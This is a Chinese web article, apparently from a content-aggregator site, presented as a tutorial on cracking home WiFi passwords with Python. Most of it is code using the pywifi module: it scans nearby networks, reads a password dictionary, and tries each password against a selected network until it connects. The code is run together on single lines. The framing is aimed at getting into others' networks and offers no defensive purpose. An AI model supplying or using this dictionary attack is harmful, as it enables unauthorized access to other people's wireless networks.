密码设置复杂的wifi(WiFi密码设置复杂了)
密码设置复杂的wifi(WiFi密码设置复杂了)
2024-09-29 03:08:14  作者:不忘来年  网址:https://m.xinb2b.cn/life/zbo461243.html

现在每个家庭都有WiFi!大家都以为为了防止别人蹭WiFi密码设置复杂一点,万能钥匙就破解不了!今天给大家看看python工程师是怎么破解WiFi密码的!今天利用python中的pywifi模块来写这个程序!上教程


一、获取密码文件的路径

self.get_value = StringVar()

二、获取WiFi账号

self.get_wifi_value = StringVar()

三、获取WiFi密码

self.get_wifimm_value = StringVar()

四、抓取网卡接口

self.wifi = pywifi.PyWiFi()

五、抓取第一个无线网卡

self.iface = self.wifi.interfaces()[0]

六、测试连接断开所有链接

self.iface.disconnect()

七、测试网卡是否属于断开状态

assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]


八、自动会调用的函数,返回自身的网卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())

九、搜索WiFi

#开始扫描print("^_^ 开始扫描附近wifi...")self.iface.scan()time.sleep(15)#在若干秒后获取扫描结果scanres = self.iface.scan_results()#统计附近被发现的热点数量nums = len(scanres)print("数量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 实际数据self.show_scans_wifi_list(scanres)return scanres

十、添加密码文件目录

self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)

十一、Treeview绑定事件

self.sels= event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、读取密码字典,进行匹配

def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander=open(self.getFilePath,"r",errors="ignore")while True:try:self.pwdStr=pwdfilehander.readline()if not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正确=== wifi名:%s 匹配密码:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---错误--- wifi名:%s匹配密码:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、对wifi和密码进行匹配

#创建wifi链接文件self.profile = pywifi.Profile()self.profile.ssid =wifi_ssid #wifi名称self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元self.profile.key = pwd_Str #密码self.iface.remove_all_network_profiles() #删除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件self.iface.connect(self.tmp_profile)#链接time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上isOK=Trueelse:isOK=Falseself.iface.disconnect() #断开time.sleep(1)#检查断开状态assert self.iface.status() in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

运行结果



  • 定量分析和定性分析的区别与联系(那些年你没搞懂的)
  • 2024-09-29那些年你没搞懂的来源:社工有画说;作者:肖彦(版权归原作者所有)这是社科学术圈推送的第1664篇文章话说,很多同学都问过定量和定性到底有什么区别,今天肖老师就和大家聊聊定量与定性的那些事儿本文来源:社工有画说|作者:。
  • 俄克里姆林宫最新消息(你对俄罗斯最大的误解可能是)
  • 2024-09-29你对俄罗斯最大的误解可能是说到去俄罗斯旅游,大家首先就想到了这里可不就是这样嘛,红场、洋葱头大教堂、克林姆林宫,好了,还没出发,对俄罗斯旅游的第一印象已经有了到了莫斯科第一个地方去哪逛?不说大家都会去红场上和洋葱头合个影,再到。
  • 一包槟榔能吃多久(一天3包槟榔会吹出89mg)
  • 2024-09-29一天3包槟榔会吹出89mg槟榔含有酒精不?嚼了槟榔影响吹气测酒精不?来宾交警就遇到了一位“槟榔哥”结局怎么样一起过来看9月7日,来宾市忻城县公安局交警大队在芝州二路禁毒大队附近路段开展“百日行动”夜查整治21时许,一辆桂G**。
  • 考研考湖南师范大学难吗(湖南师范大学考研难度分析)
  • 2024-09-29湖南师范大学考研难度分析点击关注我们获取院校报录比·考研干货·考研资讯❤考研途中有我陪你❤目录:一、学校简介二、复试分数线三、第四轮学科评估结果四、热门专业招生情况五、湖南师范大学考研难度分析一、学校简介湖南师范大学创建于1。
  • 高考椭圆专题知识点梳理(吃透高考重难点)
  • 2024-09-29吃透高考重难点椭圆这一块知识一直是解析几何的核心内容之一,更是高中数学学习的重点、难点,因此自然成为高考数学命题的热点之一椭圆相关的高考题型一般比较新颖,包含各种各样的解题方法,如平面向量与解析几何的融合,提高了题。
  • 我的世界铁傀儡和钟有关系吗(我的世界关于钟)
  • 2024-09-29我的世界关于钟自Minecraft1.14版本的重大更新以来,小编一直在努力探索新版本有趣的东西(疯狂找特性ing)玩这个版本也有段时间了,总结一下感想:在这个版本,我就是一个玩了8年MC的萌新!可见这个版本的更新。
  • 三少爷的剑新版(三少爷的剑迷途的羔羊啊)
  • 2024-09-29三少爷的剑迷途的羔羊啊上个月忙了一个月做了一台全广东最高大上的交响音乐晚会据出钱的人说效果还不错于是婶儿就觉得,明年她有信心去把春晚包下来做了所以你知道婶儿今天要说啥了:信心本着对徐老怪和尔小宝的信心,婶儿今天去看了场《三。
  • 给电影人的情书无限循环了好多遍(26年后重看电影情书)
  • 2024-09-2926年后重看电影情书点击上方蓝字关注,每天和你一起剖析人性与情感据1995年电影《情书》首次上映,已经过去了26年,回想起第一次看《情书》时的感觉,26年后再次重看,有截然不同的感受年少轻狂时看《情书》,是一部文艺的青春。
  • 新生儿脱皮该怎么办(新手妈妈知道的事)
  • 2024-09-29新手妈妈知道的事新生儿期宝宝脱皮是怎么回事呢?新生儿的宝宝脱皮是一般是属于正常的生理现象这个阶段的孩子生长比较快,新陈代谢特别快,所以皮肤的真皮和表皮之间出现分开的现象,就出现脱皮的现象新生儿脱皮会出现在手、脚、面部。
  • 市盈率pe怎么计算(带你正确地认知市盈率)
  • 2024-09-29带你正确地认知市盈率但凡懂点价值投资、选股会看基本面的朋友就肯定会知道PE(不就是市盈率嘛,这么简单的内容,谁不知道)其实多数投资者并没有认真地理解过PE,只是懂个大概的、别人说的而已,就像PE(动)相对来说越低就是越好。